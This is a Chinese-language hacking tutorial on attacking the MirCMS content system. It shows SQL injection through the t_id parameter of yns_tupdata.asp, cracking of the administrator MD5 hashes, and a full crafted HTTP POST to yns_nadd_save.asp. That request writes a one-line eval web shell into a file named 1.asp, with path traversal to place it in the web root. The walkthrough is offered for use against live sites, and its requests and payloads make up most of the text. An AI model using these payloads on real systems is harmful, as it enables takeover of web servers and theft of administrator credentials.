在黑防的2005年第6期中,小狮子写了关于MirCms中投票子系统的漏洞,阅读以后觉得该系统既然存在像登录验证错误这样的漏洞就应该还存在其他的可以更进一步利用的漏洞。本文就利用该系统中的这些漏洞取得其WebShell。
一、取得管理员账号和密码。
网站根目录下的yns_tupdata.asp中存在SQL注入漏洞,我们利用其可以获取管理员的账号和密码,看下面的代码片断。
If (Request.QueryString("t_id") <> "") Then
rst__MMColParam = Request.QueryString("t_id")
End If
……
rst.Source = "SELECT * FROM t_type WHERE t_id = " + Replace(rst__MMColParam, "'", "''") + ""
变量t_id仅过滤了单引号就送到了SQL语句中,这样我们就可以使用 1 or 1=1的形式进行注入,打开NBSI输入注入地址http://xxx/yns_tupdata.asp?t_id=1 or 1=1,由于在网上就可以down到该系统的源代码,也就省去了我们猜表名和列名的过程,猜解以后我们就可以得到一些管理员的用户名和密码。
由于密码是MD5加密的,而且后台还是Session验证,所以我们只能老老实实的去破解它的原始密码,至于破解MD5我们可以挂个常用密码的字典跑一遍,然后就看你的运气喽^_^这里我就得到了一个账号<如果云知道>的密码49ba59abbe56e057=〉123456,OK!就用这账号登录后台。(注:我们只需要得到level为1的账号就够用了,而且一般这种等级的账号密码比较简单^_^)
二、进一步取得WebShell
还是让我们先看一下yns_nadd_save.asp中的代码片断
mm_path = server.MapPath((rst.Fields.Item("t_dir").Value)&"/"&(rsts.Fields.Item("ts_dir").Value)&"/"
&request.Form("n_fpath")&"/"&request.Form("n_fname"))
…
Set fout = fso.CreateTextFile(mm_path)
fout.WriteLine pencat
fout.close
程序从表单中取得n_fname后没有进行任何的扩展名检查就合成了mm_path变量,然后利用fso函数生成了以n_fname为文件名的文件,这样只要我们修改n_fname的值为 xxx.asp就可以很简单的在服务器上生成一个ASP木马,然后我们再看看这个文件的内容是怎么生成的,
N_Title=Request.Form("n_title")
…
mm_template_path = server.MapPath("templates/type_template/type_son_template/detail_template.htm")
…
set fso_line = fso.opentextfile(mm_template_path,1,True)
pencat=fso_line.readall
end if
pencat=replace(pencat,"t_title",n_title)
从上面我们可以知道程序是将detail_template.htm中的内容读入,然后替换相关变量,最后得到生成文件的内容,这里我们就利用t_title这个替换变量来写入我们的ASP木马代码。我们来试一下,打开WinSock Expert在后台填加一篇文章,抓包内容如下:
POST /yns_nadd_save.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/
vnd.ms-powerpoint, application/msword, */*
Referer: http://xxx/MirCMS_Add.asp
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon; .NET CLR 1.1.4322)
Host:xxx.net
Content-Length:199
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSCQTAQQB=JLOPEBEBAFPEBBJAJCGHKBCF
n_tid=52&n_tsid=56&n_sid=&n_title=test&n_author=%C8%E7%B9%FB%D4%C6%D6%AA%B5%C0&n_mpic=&n_rpic=&n_fname=20053151744366646.htm&n_fpath=2005-6-6&n_date=2005-6-6+6%3A50%3A22&n_content=ttt&MM_insert=form1
这里我们将n_fname的值改成1.asp,然后将n_title的值改成我们常用的一句话木马,注意写入的ASP代码需要使用unicode编码以后的形式。<SCRIPT%20RUNAT=SERVER%20LANGUAGE=
JAVASCRIPT>eval(Request.form('#')%2B'')</SCRIPT>,最后不要忘了重新计算封包的大小更改Content-Length的值,这部分知识在研究动网上传漏洞的时候想必大家都已经研究明白了吧,下面就直接给出我的修改结果。
POST /yns_nadd_save.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/
vnd.ms-powerpoint, application/msword, */*
Referer: http://xxx/MirCMS_Add.asp
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon; .NET CLR 1.1.4322)
Host:xxx.net
Content-Length: 261
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSCQTAQQB=JLOPEBEBAFPEBBJAJCGHKBCF
n_tid=52&n_tsid=56&n_sid=&n_title=<SCRIPT%20RUNAT=SERVER%20LANGUAGE=JAVASCRIPT>eval(Request.form('#')%2B'')</SCRIPT>&n_author=%C8%E7%B9%FB%D4%C6%D6%AA%B5%C0&n_mpic=&n_rpic=&n_fname=1.asp&n_fpath=2005-6-6&n_date=2005-6-6+6%3A50%3A22&n_content=ttt&MM_insert=form1
最后使用NC提交我们修改后的封包,到MirCMS_Html/xxx/年-月-日/下就可以找到我们的木马了,当然如果网站的管理员比较BT的话可能会设置MirCMS_Html目录下无法运行ASP文件,不过没有关系,我们只需把n_fname的值改成../../1.asp切换到根目录下就可以了,有了WebShell剩下的事情大家就可以看着办喽^_^